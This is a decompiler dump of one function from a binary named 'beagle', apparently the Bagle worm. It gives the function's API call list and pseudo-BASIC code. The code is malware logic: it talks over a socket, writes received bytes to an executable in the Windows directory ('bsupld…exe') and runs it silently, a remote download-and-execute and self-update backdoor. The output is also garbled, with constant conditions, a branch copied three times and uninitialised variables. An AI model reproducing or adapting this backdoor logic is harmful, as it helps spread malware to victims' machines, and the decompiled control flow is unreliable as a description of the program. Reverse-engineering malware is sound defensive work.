Private Function beagle.usub_402e07.txt

Calls out:


DLL:kernel32.ReleaseMutex
DLL:wsock32.closesocket
usub_401184
DLL:kernel32.WinExec
DLL:kernel32.lstrcatA
DLL:kernel32.CloseHandle
DLL:kernel32.WriteFile
DLL:kernel32.CreateFileA
usub_401023
DLL:kernel32.GetWindowsDirectoryA
usub_40146e
usub_4019cf
usub_401481
DLL:wsock32.send
DLL:kernel32.lstrcmpiA
usub_401a38
usub_401000
DLL:kernel32.WaitForSingleObject
DLL:kernel32.CreateThread

Incoming calls for beagle.usub_402e07.txt


beagle.EntryPoint.txt

Decompiled source code follows:

Return CloseHandle(CreateThread(0,0,4206061,0,0,0))
WaitForSingleObject(Global4226844,4294967295)
usub_401000(#STACKVAR-UNINITIALISED-4437,8)
usub_401481
If (usub_4019cf != 0)
      usub_40146e
      usub_401481
      If (0 != 2)
            If (0 != 3)
                  If (0 != 4)
                  Else
                        If (usub_401a38 != 0)
                              usub_40146e
                              usub_401481
                              If (lstrcmpiA(#STACKVAR-UNINITIALISED-4301,"12") = 0)
                              Else
                                    send(#ARG4,#STACKVAR-UNINITIALISED-4301,8,0)
                                    goto Label0
                                    If (0 = 3)
                                          Label0:
                                          If (usub_4019cf != 0)
                                                usub_40146e
                                                usub_401481
                                                If (usub_4019cf != 0)
                                                      usub_40146e
                                                      GetWindowsDirectoryA(#STACKVAR-UNINITIALISED-4301,260)
                                                      usub_401023
                                                      lstrcatA(#STACKVAR-UNINITIALISED-4301,"\\bsupld")
                                                      lstrcatA(#STACKVAR-UNINITIALISED-4301,#STACKVAR-UNINITIALISED-4437)
                                                      lstrcatA(#STACKVAR-UNINITIALISED-4301,".exe")
                                                      FLocal24 = CreateFileA(#STACKVAR-UNINITIALISED-4301,1073741824,2,0,2,0,0)
                                                      If (FLocal24 + 1)
                                                            Do While (#STACKVAR-UNINITIALISED-4448 != 0)
                                                                  WriteFile(FLocal24,#STACKVAR-UNINITIALISED-4429,#STACKVAR-UNINITIALISED-4448,#STACKVAR-UNINITIALISED-4448,0)
                                                            Loop
                                                            CloseHandle(FLocal24)
                                                            If (0 = 3)
                                                                  lstrcatA(#STACKVAR-UNINITIALISED-4301," -upd")
                                                            End If
                                                            WinExec(#STACKVAR-UNINITIALISED-4301,0)
                                                            If (0 = 3)
                                                                  usub_401184
                                                            End If
                                                      End If
                                                End If
                                          End If
                                    Else
                                          If (0 = 4)
                                                usub_401184
                                          End If
                                    End If
                              End If
                        End If
                  End If
            Else
                  If (usub_401a38 != 0)
                        usub_40146e
                        usub_401481
                        If (lstrcmpiA(#STACKVAR-UNINITIALISED-4301,"12") = 0)
                        Else
                              send(#ARG4,#STACKVAR-UNINITIALISED-4301,8,0)
                              goto Label0
                              If (0 = 3)
                                    Label0:
                                    If (usub_4019cf != 0)
                                          usub_40146e
                                          usub_401481
                                          If (usub_4019cf != 0)
                                                usub_40146e
                                                GetWindowsDirectoryA(#STACKVAR-UNINITIALISED-4301,260)
                                                usub_401023
                                                lstrcatA(#STACKVAR-UNINITIALISED-4301,"\\bsupld")
                                                lstrcatA(#STACKVAR-UNINITIALISED-4301,#STACKVAR-UNINITIALISED-4437)
                                                lstrcatA(#STACKVAR-UNINITIALISED-4301,".exe")
                                                FLocal48 = CreateFileA(#STACKVAR-UNINITIALISED-4301,1073741824,2,0,2,0,0)
                                                If (FLocal48 + 1)
                                                      Do While (#STACKVAR-UNINITIALISED-4448 != 0)
                                                            WriteFile(FLocal48,#STACKVAR-UNINITIALISED-4429,#STACKVAR-UNINITIALISED-4448,#STACKVAR-UNINITIALISED-4448,0)
                                                      Loop
                                                      CloseHandle(FLocal48)
                                                      If (0 = 3)
                                                            lstrcatA(#STACKVAR-UNINITIALISED-4301," -upd")
                                                      End If
                                                      WinExec(#STACKVAR-UNINITIALISED-4301,0)
                                                      If (0 = 3)
                                                            usub_401184
                                                      End If
                                                End If
                                          End If
                                    End If
                              Else
                                    If (0 = 4)
                                          usub_401184
                                    End If
                              End If
                        End If
                  End If
            End If
      Else
            If (usub_401a38 != 0)
                  usub_40146e
                  usub_401481
                  If (lstrcmpiA(#STACKVAR-UNINITIALISED-4301,"12") = 0)
                  Else
                        send(#ARG4,#STACKVAR-UNINITIALISED-4301,8,0)
                        goto Label0
                        If (0 = 3)
                              Label0:
                              If (usub_4019cf != 0)
                                    usub_40146e
                                    usub_401481
                                    If (usub_4019cf != 0)
                                          usub_40146e
                                          GetWindowsDirectoryA(#STACKVAR-UNINITIALISED-4301,260)
                                          usub_401023
                                          lstrcatA(#STACKVAR-UNINITIALISED-4301,"\\bsupld")
                                          lstrcatA(#STACKVAR-UNINITIALISED-4301,#STACKVAR-UNINITIALISED-4437)
                                          lstrcatA(#STACKVAR-UNINITIALISED-4301,".exe")
                                          FLocal70 = CreateFileA(#STACKVAR-UNINITIALISED-4301,1073741824,2,0,2,0,0)
                                          If (FLocal70 + 1)
                                                Do While (#STACKVAR-UNINITIALISED-4448 != 0)
                                                      WriteFile(FLocal70,#STACKVAR-UNINITIALISED-4429,#STACKVAR-UNINITIALISED-4448,#STACKVAR-UNINITIALISED-4448,0)
                                                Loop
                                                CloseHandle(FLocal70)
                                                If (0 = 3)
                                                      lstrcatA(#STACKVAR-UNINITIALISED-4301," -upd")
                                                End If
                                                WinExec(#STACKVAR-UNINITIALISED-4301,0)
                                                If (0 = 3)
                                                      usub_401184
                                                End If
                                          End If
                                    End If
                              End If
                        Else
                              If (0 = 4)
                                    usub_401184
                              End If
                        End If
                  End If
            End If
      End If
End If
closesocket(#ARG4)
ReleaseMutex(Global4226844)
Return 0
End Sub